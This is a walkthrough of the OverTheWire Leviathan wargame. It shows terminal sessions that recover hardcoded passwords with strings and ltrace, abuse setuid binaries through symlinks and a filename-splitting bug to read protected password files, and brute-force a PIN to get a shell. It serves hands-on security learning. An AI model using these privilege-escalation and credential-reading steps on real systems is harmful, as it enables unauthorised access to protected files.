leviathan.labs.overthewire.org 2223
level 0 → level 1
leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep pass<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is <credential-redacted>" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>[credential redacted]
level 1 → level 2
leviathan1@leviathan:~$ strings checktd8secrlovepassword:/bin/shWrong password, Good Bye ...
leviathan1@leviathan:~$ ltrace ./check__libc_start_main(0x80490ed, 1, 0xffffdb84, 0 <unfinished ...>printf("password: ") = 10getchar(0, 0, 0x786573, 0x646f67password: asd) = 97getchar(0, 97, 0x786573, 0x646f67) = 115getchar(0, 0x7361, 0x786573, 0x646f67) = 100strcmp("asd", "sex") = -1puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...) = 29+++ exited (status 0) +++
password: sex
$ cat /etc/leviathan_pass/leviathan2[credential redacted]
level 2 → level 3
leviathan2 has a setuid binary printfile that prints files — but it has a space-handling bug. If a filename contains a space, it runs /bin/cat on each part separately. Create a symlink to /etc/leviathan_pass/leviathan3 with a space in the name.
leviathan2@leviathan:/tmp/tmp.YL8H9pOSiq$ ls -latotal 1360drwxrwxrwx 2 leviathan2 leviathan2 4096 Aug 7 12:42 .drwxrwx-wt 7322 root root 1384448 Aug 7 12:43 ..lrwxrwxrwx 1 leviathan2 leviathan2 30 Aug 7 12:42 tmp -> /etc/leviathan_pass/leviathan3-rw-rw-r-- 1 leviathan2 leviathan2 0 Aug 7 12:42 t tmp
leviathan2@leviathan:/tmp/tmp.YL8H9pOSiq$ ~/printfile 't tmp'/bin/cat: t: No such file or directory[credential redacted]
level 3 → level 4
leviathan3@leviathan:~$ ltrace ./level3__libc_start_main(0x80490ed, 1, 0xffffdb84, 0 <unfinished ...>strcmp("h0no33", "kakaka") = -1printf("Enter the password> ") = 20fgets(Enter the password> asd"asd\n", 256, 0xf7fab5c0) = 0xffffd95cstrcmp("asd\n", "snlprintf\n") = -1puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG) = 19+++ exited (status 0) +++
password:snlprintf
leviathan4@leviathan:~$ cat /etc/leviathan_pass/leviathan4[credential redacted]
level 4 → level 5
Binary in .trash directory reads the password file and outputs it as binary (ASCII 0s and 1s). Decode to ASCII.
leviathan4@leviathan:~/.trash$ ./bin00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010
# Decode binary to ASCIIleviathan4@leviathan:~/.trash$ ./bin | python3 -c "import sys; print(''.join(chr(int(b,2)) for b in sys.stdin.read().strip().split()))"[credential redacted]
level 5 → level 6
leviathan5 reads /tmp/file.log. Create a symlink to the password file.
leviathan5@leviathan:~$ ./leviathan5Cannot find /tmp/file.log
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.logleviathan5@leviathan:~$ ./leviathan5[credential redacted]
level 6 → level 7
leviathan6 takes a 4-digit code as argument. Brute force the PIN.
leviathan6@leviathan:~$ ./leviathan6usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ for i in $(seq 1000 9999); do ./leviathan6 $i 2>/dev/null | grep -v Wrong; done
$ iduid=12007(leviathan7) gid=12006(leviathan6) groups=12006(leviathan6)$ bashleviathan7@leviathan:~$ cat /etc/leviathan_pass/leviathan7[credential redacted]
level 7
leviathan7@leviathan:~$ cat CONGRATULATIONSWell Done, you seem to have used a *nix system before, now try something more serious.(Please don't post writeups, solutions or spoilers about the game on the web. Thank you!)